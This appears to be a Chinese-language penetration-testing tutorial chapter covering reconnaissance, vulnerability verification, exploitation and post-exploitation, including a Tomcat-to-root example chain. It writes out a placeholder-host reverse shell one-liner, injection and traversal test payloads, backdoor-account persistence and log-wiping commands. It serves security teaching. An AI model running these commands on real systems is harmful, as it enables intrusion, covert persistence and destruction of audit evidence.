渗透测试方法论¶
8.1 信息收集¶
信息收集决定了渗透测试的上限。你掌握的信息越多,能发现的攻击面就越广。
信息收集的维度
| 维度 | 收集内容 | 工具 |
|---|---|---|
| 域名资产 | 根域名、子域名、DNS 记录、Whois | Sublist3r、OneForAll、dig、nslookup |
| IP 资产 | 真实 IP(绕过 CDN)、IP 段、开放端口 | ping、nslookup、nmap、masscan |
| Web 指纹 | 中间件、框架、CMS、JS 库、版本 | Wappalyzer、WhatWeb、BuiltWith |
| 目录接口 | 后台路径、API 接口、备份文件、敏感文件 | dirsearch、gobuster、ffuf |
| 人员信息 | 员工邮箱、社交账号、泄露密码 | theHarvester、haveibeenpwned |
| 网络空间 | 暴露在互联网上的资产 | Shodan、Censys、FOFA |
信息关联分析示例:
1. sublist3r -d target.com 发现 dev.target.com
2. nmap -sV dev.target.com 发现开放 8080(Tomcat)和 3306(MySQL)
3. dirsearch -u http://dev.target.com:8080 发现 /manager/html
4. 访问 Tomcat 后台,尝试默认密码 tomcat:tomcat → 登录成功
5. 从 Tomcat 后台可部署 WAR 包获得 webshell
从子域名发现 → 端口扫描 → 目录爆破 → 弱口令利用,每一步都依赖前一步的信息。
8.2 漏洞发现¶
自动化扫描工具的定位
| 工具 | 侧重点 | 适用场景 |
|---|---|---|
| Burp Suite | HTTP 代理 + 主动/被动扫描 | Web 应用测试的标准工具 |
| OWASP ZAP | 开源替代 Burp | 预算有限时的选择 |
| Nessus/OpenVAS | 系统级漏洞扫描 | 主机漏洞评估 |
| AWVS | Web 漏洞深度扫描 | 大规模 Web 资产扫描 |
| SQLMap | SQL 注入专项 | 自动化注入检测与利用 |
| XSStrike | XSS 专项 | 智能 XSS Payload 生成与检测 |
手工验证的原则
扫描器发现疑似漏洞后,必须手工验证:
1. SQL 注入:' 触发错误 → ' AND 1=1 正常 → ' AND 1=2 异常,三段式确认
2. XSS:输入 <script>alert(1)</script> 看是否弹窗,同时检查是否被 WAF 拦截
3. 命令注入:输入 ; sleep 5 或 | sleep 5,观察响应是否延迟 5 秒
4. 目录遍历:输入 ../../../etc/passwd,检查返回内容是否包含系统用户信息
8.3 漏洞利用与后渗透¶
从漏洞到权限的映射
| 入口漏洞 | 直接获得 | 后续操作 |
|---|---|---|
| SQL 注入 + 高权限 | 数据库数据 | 读管理员密码 → 登录后台;xp_cmdshell / INTO OUTFILE |
| 文件上传 | WebShell | 蚁剑/冰蝎/哥斯拉连接,获得服务器操作权限 |
| 反序列化 | 命令执行 | 反弹 shell(bash -i >& /dev/tcp/ip/port 0>&1) |
| Redis 未授权 | Redis 控制权 | 写 SSH 公钥 / 写 Crontab / 写 WebShell |
| 弱口令(Tomcat/RDP/SSH) | 应用/系统权限 | 部署 WAR / 远程桌面 / SSH 隧道 |
后渗透阶段
获得初始权限后,渗透测试并未结束,而是进入后渗透阶段:
- 权限提升(Privilege Escalation)
- Linux:SUID 滥用、内核漏洞(dirty cow)、sudo 配置错误、计划任务
-
Windows:UAC 绕过、服务配置错误、AlwaysInstallElevated、内核漏洞
-
内网横向移动(Lateral Movement)
- 密码抓取:Mimikatz(Windows)、
/etc/shadow(Linux) - 内网扫描:
fscan、nmap扫描内网存活主机和开放端口 -
隧道建立:FRP、ngrok、SSH 隧道穿透内网边界
-
权限维持(Persistence)
- 添加后门账户(Windows
$结尾隐藏账户、Linux UID 为 0 的后门) - 计划任务(Windows
schtasks、Linuxcrontab) - 启动项(Windows 注册表
Run键、Linux/etc/rc.local) -
WebShell(隐蔽性强的内存马、无文件马)
-
痕迹清理
- 删除操作日志:
echo "" > /var/log/auth.log - 清除历史命令:
history -c - 修改文件时间戳:
touch -r /bin/ls /backdoor - 隐藏进程:将进程名伪装为系统进程
实战权限提升案例:
通过 Tomcat 弱口令获得一个低权限的 tomcat 用户 shell。执行 uname -a 发现内核版本 Linux 2.6.32。搜索发现该版本存在 dirty cow 漏洞(CVE-2016-5195)。上传 dirty cow EXP 编译执行,获得 root shell。随后添加计划任务维持权限,并清理上传的 EXP 文件和操作日志。
总结¶
- 8.1 信息收集
- 8.2 漏洞发现
- 8.3 漏洞利用与后渗透